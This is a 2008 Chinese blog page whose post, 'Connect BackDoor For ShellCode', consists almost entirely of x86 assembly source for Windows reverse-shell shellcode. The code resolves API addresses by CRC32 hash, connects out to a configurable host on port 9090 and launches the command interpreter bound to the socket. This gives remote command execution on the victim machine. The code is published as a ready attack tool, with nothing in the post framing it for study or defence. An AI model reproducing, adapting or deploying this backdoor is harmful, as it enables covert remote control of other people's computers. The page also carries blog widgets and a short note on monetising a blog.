1. 公告

    • 黑夜给了我黑色的眼睛去寻找光明,阳光给了我明亮的眼睛我却是去寻找黑暗,所以我只有在夜里才出现真实的自己。(菩提本不树,明镜亦非台,本来无一物,何处染尘埃。)
  2. 写作时间

    << 2008-12 >>

    Sun

    Mon

    Tue

    Wed

    Thu

    Fri

    Sat

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    16

    17

    18

    19

    20

    21

    22

    23

    24

    25

    26

    27

    28

    29

    30

    31

  3. 原创下载

  4. 最新文章

  5. 最新评论

  6. 文章归档

  7. Statistics

    • 文章总数:194
    • 评论总数:67
    • 引用总数:0
    • 浏览总数:240437
    • 留言总数:0
    • 当前样式:4u-HK
    • 当前语言:zh-CN
  8. 友情链接

  9. 反向链接

Connect BackDoor For ShellCode

.586
.model flat
locals @@

include \D.N.ASM\include\useful.inc
include \D.N.ASM\include\MZ.INC
include \D.N.ASM\include\PE.INC

;ADDRESS equ 127,0,0,1
PORT    equ 9090

.code
public c entry

db '$SHELLCODE_BEGIN$'
entry:
    call @@delta
@@delta:
    pop edi
    sub edi,offset @@delta
;======代码重定位
    lea eax,[edi+k32_api]
    push eax
    call get_apicrc
   
    lea eax,[edi+w32_api]
    push eax
    call get_apicrc
;======以上代码从定位+获取API地址
        sub ebp,ebp
        sub esp,190h
        mov esi,esp
       
        push esp
        push 1
        call [edi+__WSAStartup]
       
    push 000434550h
    push 0534d4f43h
    mov eax,esp
    push 104h
    push esi
    push eax
    call [edi+__GetEnvironmentVariableA]
    pop ecx
    pop ecx
   
@@online:
    push 6
    push 1
    push 2
    call [edi+__socket]
        mov ebx,eax
          
    lea edx,[edi+offset DNS]
    push edx
    call [edi+__inet_addr]
    inc eax
    jz @@hostname
    dec eax
   
    jmp short @@port

@@hostname:
    lea edx,[edi+offset DNS]
    push edx
    call [edi+__gethostbyname]
          or eax,eax
           jz @@hostname

    mov eax, [eax+12]
    mov eax, [eax]
    mov eax, [eax]
   
@@port:
    push ebp
    push ebp
    push eax
    mov eax,PORT
    xchg ah,al
    shl eax,16
    add eax,2
    push eax
    mov edx,esp       

@@connection:       
        push 16
        push edx
        push ebx
        call [edi+__connect]
        test eax,eax
        jnz @@connection
   
@@next:
    push ebx
    push ebx
    push ebx
    push ebp
    push ebp
    push 257
    push 11
    pop ecx
   
@@loop_push:
    push ebp
    loop @@loop_push
    mov eax,esp
   
    push ebp
    push ebp
    push ebp
    push ebp
   
    push esp
    push eax
    push ebp
    push ebp
    push ebp
    push 1
    push ebp
    push ebp
    push ebp
    push esi
    call [edi+__CreateProcessA]
    test eax,eax
    jz @@quit

    push -1
    push eax
    call [edi+__WaitForSingleObject]

@@quit:
    push ebx
    call [edi+__closesocket]
   
    call [edi+__WSACleanup]
    ;push 0
    ;call [edi+__ExitThread]
    ;jmp @@online
    ;add esp,4*127
           ret
          
;============所需数据============================
        DNS        db 'localhost',0

        k32_api:
    db 'kernel32',0
            __ExitThread                                dd 080AF62E1h
            __GetEnvironmentVariableA   dd 02F87D308h
            __WaitForSingleObject       dd 0E058BB45h
            __CreateProcessA            dd 0A851D916h
    dd 0
   
        w32_api:
    db 'ws2_32',0
            __WSAStartup                                dd 0A0F5FC93h
            __WSACleanup                                dd 08E3398BCh
            __socket                                        dd 005E568BBh
            __inet_addr                                        dd 05308A87Eh
            __gethostbyname                                dd 0377545A2h
            __connect                   dd 074CFF91Fh
            __closesocket               dd 0A5C6D777h
    dd 0
   
get_apicrc:
    pushad
    mov esi,[esp+8*4+4]
    call get_k32base
    push 03FC1BD8Dh      ;LoadLibraryA
    push eax
    call get_addr32crc
   
    push esi
    call eax
    mov ebx,eax
   
    sub eax,eax
    lodsb
    test al,al
    jnz $-3
    mov edi,esi

@@loop:
    lodsd
    test eax,eax
    jz @@end
    push eax
    push ebx
    call get_addr32crc
    stosd
    jmp @@loop
@@end:
    popad
    retn
   
get_addr32crc:
    pushad
    mov ebx,[esp+8*4+4]
    mov esi,[esp+8*4+8]
   
    sub ebp,ebp     ;counter
    mov edx,ebx
    add edx,[edx.mz_neptr]
    mov edx,[edx.pe_exportrva]
    add edx,ebx

    mov eax,[edx.ex_numofnamepointers]
    mov edi,[edx.ex_addresstablerva]
    add edi,ebx
    mov edi,[edx.ex_namepointersrva]
    add edi,ebx
   
    push edx
    mov edx,edi
   
@@next:
    mov edx,[edi]
    add edx,ebx

    inc ebp
    pushad
    mov esi,edx
    sub ecx,ecx
    lodsb
    inc ecx
    test al,al
    jnz $-4
    mov [esp+pushad_ecx],ecx
    popad
   
@@cmpstr:
    pushad
;   mov edx,edx
    sub eax,eax
    call xcrc32
    cmp eax,esi
    popad
    jz @@found
   
;    push eax
;    sub eax,eax
;    scasb
;    jnz $-1
;    pop eax
    add edi,4
    dec eax
    jz @@error
    jmp @@next
@@found:
    pop edx
    dec ebp

    mov ecx,[edx.ex_ordinaltablerva]
    add ecx,ebx
    movzx eax,wod [ecx+ebp*2]
    mov ebp,[edx.ex_addresstablerva]
    add ebp,ebx
    mov eax,[ebp+eax*4]
    add eax,ebx
@@error:
    mov [esp+pushad_eax],eax
    popad
    ret 4*2

;void* get_k32base();
get_k32base:
    pushad
    sub eax,eax
    mov eax,fs:[eax+30h]
    test eax,eax
    js @@os_9x
@@os_nt:
    mov eax,[eax+0ch]
    mov esi,[eax+1ch]
    lodsd
    mov eax,[eax+8]
    jmp @@finished
@@os_9x:
    mov eax,[eax+34h]
    lea eax,[eax+7ch]
    mov eax,[eax+3ch]
@@finished:
    mov [esp+pushad_eax],eax
    popad
    retn

; zhengxi's crc32(): optimised by vecna
; input: EDX=data, ECX=size, EAX=crc
; output: EAX=crc, EDX+=ECX, ECX=BL=0
xcrc32:
    pushad
    jecxz @@4
    not eax
@@1:
        cmp byte ptr [edx], 0
        je  @@4
    xor al, [edx]
    inc edx
    mov bl, 8
@@2:
    shr eax, 1
    jnc @@3
    xor eax, 0EDB88320h
@@3:
    dec bl
    jnz @@2
    loop @@1
@@4:
        not eax
    mov [esp+pushad_eax],eax
    popad
    ret
db '$SHELLCODE_END$'
       
shellcode_size equ $-entry

    mov eax,shellcode_size
    push eax
    callw ExitProcess

end

您或许还对以下的内容感兴趣:

如果您拥有一个BLOG,如果您的BLOG的PV/IP/PR还算不错,如果您打算用您所拥有的BLOG来赚钱,那么我来告诉您几个赚钱的方法:

1、透过 Google AdSense 使您的BLOG产生收益

2、您还可以通过申请TextLinkAds投放者来直接出售链接位从而产生收入。